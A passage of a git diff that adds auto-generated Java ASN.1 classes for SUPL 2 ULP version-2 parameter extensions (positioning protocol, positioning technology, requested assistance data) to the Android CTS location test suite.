+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_PosProtocol_extension from encoded stream.
+ */
+ public static Ver2_PosProtocol_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_PosProtocol_extension result = new Ver2_PosProtocol_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_PosProtocol_extension from encoded stream.
+ */
+ public static Ver2_PosProtocol_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_PosProtocol_extension result = new Ver2_PosProtocol_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Ver2_PosProtocol_extension.lppType lpp_;
+ public Ver2_PosProtocol_extension.lppType getLpp() {
+ return lpp_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_PosProtocol_extension.lppType
+ */
+ public void setLpp(Asn1Object value) {
+ this.lpp_ = (Ver2_PosProtocol_extension.lppType) value;
+ }
+ public Ver2_PosProtocol_extension.lppType setLppToNewInstance() {
+ lpp_ = new Ver2_PosProtocol_extension.lppType();
+ return lpp_;
+ }
+
+ private PosProtocolVersion3GPP posProtocolVersionRRLP_;
+ public PosProtocolVersion3GPP getPosProtocolVersionRRLP() {
+ return posProtocolVersionRRLP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocolVersion3GPP
+ */
+ public void setPosProtocolVersionRRLP(Asn1Object value) {
+ this.posProtocolVersionRRLP_ = (PosProtocolVersion3GPP) value;
+ }
+ public PosProtocolVersion3GPP setPosProtocolVersionRRLPToNewInstance() {
+ posProtocolVersionRRLP_ = new PosProtocolVersion3GPP();
+ return posProtocolVersionRRLP_;
+ }
+
+ private PosProtocolVersion3GPP posProtocolVersionRRC_;
+ public PosProtocolVersion3GPP getPosProtocolVersionRRC() {
+ return posProtocolVersionRRC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocolVersion3GPP
+ */
+ public void setPosProtocolVersionRRC(Asn1Object value) {
+ this.posProtocolVersionRRC_ = (PosProtocolVersion3GPP) value;
+ }
+ public PosProtocolVersion3GPP setPosProtocolVersionRRCToNewInstance() {
+ posProtocolVersionRRC_ = new PosProtocolVersion3GPP();
+ return posProtocolVersionRRC_;
+ }
+
+ private PosProtocolVersion3GPP2 posProtocolVersionTIA801_;
+ public PosProtocolVersion3GPP2 getPosProtocolVersionTIA801() {
+ return posProtocolVersionTIA801_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocolVersion3GPP2
+ */
+ public void setPosProtocolVersionTIA801(Asn1Object value) {
+ this.posProtocolVersionTIA801_ = (PosProtocolVersion3GPP2) value;
+ }
+ public PosProtocolVersion3GPP2 setPosProtocolVersionTIA801ToNewInstance() {
+ posProtocolVersionTIA801_ = new PosProtocolVersion3GPP2();
+ return posProtocolVersionTIA801_;
+ }
+
+ private PosProtocolVersion3GPP posProtocolVersionLPP_;
+ public PosProtocolVersion3GPP getPosProtocolVersionLPP() {
+ return posProtocolVersionLPP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocolVersion3GPP
+ */
+ public void setPosProtocolVersionLPP(Asn1Object value) {
+ this.posProtocolVersionLPP_ = (PosProtocolVersion3GPP) value;
+ }
+ public PosProtocolVersion3GPP setPosProtocolVersionLPPToNewInstance() {
+ posProtocolVersionLPP_ = new PosProtocolVersion3GPP();
+ return posProtocolVersionLPP_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getLpp() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLpp();
+ }
+
+ @Override public void setToNewInstance() {
+ setLppToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver2_PosProtocol_extension.lppType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "lpp : "
+ + getLpp().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosProtocolVersionRRLP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosProtocolVersionRRLP();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosProtocolVersionRRLPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocolVersion3GPP.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posProtocolVersionRRLP : "
+ + getPosProtocolVersionRRLP().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosProtocolVersionRRC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosProtocolVersionRRC();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosProtocolVersionRRCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocolVersion3GPP.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posProtocolVersionRRC : "
+ + getPosProtocolVersionRRC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosProtocolVersionTIA801() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosProtocolVersionTIA801();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosProtocolVersionTIA801ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocolVersion3GPP2.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posProtocolVersionTIA801 : "
+ + getPosProtocolVersionTIA801().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosProtocolVersionLPP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosProtocolVersionLPP();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosProtocolVersionLPPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocolVersion3GPP.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posProtocolVersionLPP : "
+ + getPosProtocolVersionLPP().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class lppType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_lppType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public lppType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_lppType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_lppType != null) {
+ return ImmutableList.of(TAG_lppType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new lppType from encoded stream.
+ */
+ public static lppType fromPerUnaligned(byte[] encodedBytes) {
+ lppType result = new lppType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new lppType from encoded stream.
+ */
+ public static lppType fromPerAligned(byte[] encodedBytes) {
+ lppType result = new lppType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "lppType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_PosProtocol_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java
new file mode 100755
index 0000000..94105e1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_PosTechnology_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_PosTechnology_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_PosTechnology_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_PosTechnology_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_PosTechnology_extension != null) {
+ return ImmutableList.of(TAG_Ver2_PosTechnology_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_PosTechnology_extension from encoded stream.
+ */
+ public static Ver2_PosTechnology_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_PosTechnology_extension result = new Ver2_PosTechnology_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_PosTechnology_extension from encoded stream.
+ */
+ public static Ver2_PosTechnology_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_PosTechnology_extension result = new Ver2_PosTechnology_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSPositionMethods gANSSPositionMethods_;
+ public GANSSPositionMethods getGANSSPositionMethods() {
+ return gANSSPositionMethods_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositionMethods
+ */
+ public void setGANSSPositionMethods(Asn1Object value) {
+ this.gANSSPositionMethods_ = (GANSSPositionMethods) value;
+ }
+ public GANSSPositionMethods setGANSSPositionMethodsToNewInstance() {
+ gANSSPositionMethods_ = new GANSSPositionMethods();
+ return gANSSPositionMethods_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSPositionMethods() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSPositionMethods();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSPositionMethodsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositionMethods.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSPositionMethods : "
+ + getGANSSPositionMethods().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_PosTechnology_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java
new file mode 100755
index 0000000..526fab5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java
@@ -0,0 +1,404 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_RequestedAssistData_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_RequestedAssistData_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_RequestedAssistData_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_RequestedAssistData_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_RequestedAssistData_extension != null) {
+ return ImmutableList.of(TAG_Ver2_RequestedAssistData_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_RequestedAssistData_extension from encoded stream.
+ */
+ public static Ver2_RequestedAssistData_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_RequestedAssistData_extension result = new Ver2_RequestedAssistData_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_RequestedAssistData_extension from encoded stream.
+ */
+ public static Ver2_RequestedAssistData_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_RequestedAssistData_extension result = new Ver2_RequestedAssistData_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GanssRequestedCommonAssistanceDataList ganssRequestedCommonAssistanceDataList_;
+ public GanssRequestedCommonAssistanceDataList getGanssRequestedCommonAssistanceDataList() {
+ return ganssRequestedCommonAssistanceDataList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssRequestedCommonAssistanceDataList
+ */
+ public void setGanssRequestedCommonAssistanceDataList(Asn1Object value) {
+ this.ganssRequestedCommonAssistanceDataList_ = (GanssRequestedCommonAssistanceDataList) value;
+ }
+ public GanssRequestedCommonAssistanceDataList setGanssRequestedCommonAssistanceDataListToNewInstance() {
+ ganssRequestedCommonAssistanceDataList_ = new GanssRequestedCommonAssistanceDataList();
+ return ganssRequestedCommonAssistanceDataList_;
+ }
+
+ private GanssRequestedGenericAssistanceDataList ganssRequestedGenericAssistanceDataList_;
+ public GanssRequestedGenericAssistanceDataList getGanssRequestedGenericAssistanceDataList() {
+ return ganssRequestedGenericAssistanceDataList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssRequestedGenericAssistanceDataList
+ */
+ public void setGanssRequestedGenericAssistanceDataList(Asn1Object value) {
+ this.ganssRequestedGenericAssistanceDataList_ = (GanssRequestedGenericAssistanceDataList) value;
+ }
+ public GanssRequestedGenericAssistanceDataList setGanssRequestedGenericAssistanceDataListToNewInstance() {
+ ganssRequestedGenericAssistanceDataList_ = new GanssRequestedGenericAssistanceDataList();
+ return ganssRequestedGenericAssistanceDataList_;
+ }
+
+ private ExtendedEphemeris extendedEphemeris_;
+ public ExtendedEphemeris getExtendedEphemeris() {
+ return extendedEphemeris_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtendedEphemeris
+ */
+ public void setExtendedEphemeris(Asn1Object value) {
+ this.extendedEphemeris_ = (ExtendedEphemeris) value;
+ }
+ public ExtendedEphemeris setExtendedEphemerisToNewInstance() {
+ extendedEphemeris_ = new ExtendedEphemeris();
+ return extendedEphemeris_;
+ }
+
+ private ExtendedEphCheck extendedEphemerisCheck_;
+ public ExtendedEphCheck getExtendedEphemerisCheck() {
+ return extendedEphemerisCheck_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtendedEphCheck
+ */
+ public void setExtendedEphemerisCheck(Asn1Object value) {
+ this.extendedEphemerisCheck_ = (ExtendedEphCheck) value;
+ }
+ public ExtendedEphCheck setExtendedEphemerisCheckToNewInstance() {
+ extendedEphemerisCheck_ = new ExtendedEphCheck();
+ return extendedEphemerisCheck_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssRequestedCommonAssistanceDataList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssRequestedCommonAssistanceDataList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssRequestedCommonAssistanceDataListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssRequestedCommonAssistanceDataList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssRequestedCommonAssistanceDataList : "
+ + getGanssRequestedCommonAssistanceDataList().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssRequestedGenericAssistanceDataList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssRequestedGenericAssistanceDataList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssRequestedGenericAssistanceDataListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssRequestedGenericAssistanceDataList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssRequestedGenericAssistanceDataList : "
+ + getGanssRequestedGenericAssistanceDataList().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtendedEphemeris() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtendedEphemeris();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtendedEphemerisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtendedEphemeris.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extendedEphemeris : "
+ + getExtendedEphemeris().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtendedEphemerisCheck() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtendedEphemerisCheck();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtendedEphemerisCheckToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtendedEphCheck.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extendedEphemerisCheck : "
+ + getExtendedEphemerisCheck().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_RequestedAssistData_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java
new file mode 100755
index 0000000..f3f1f91
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
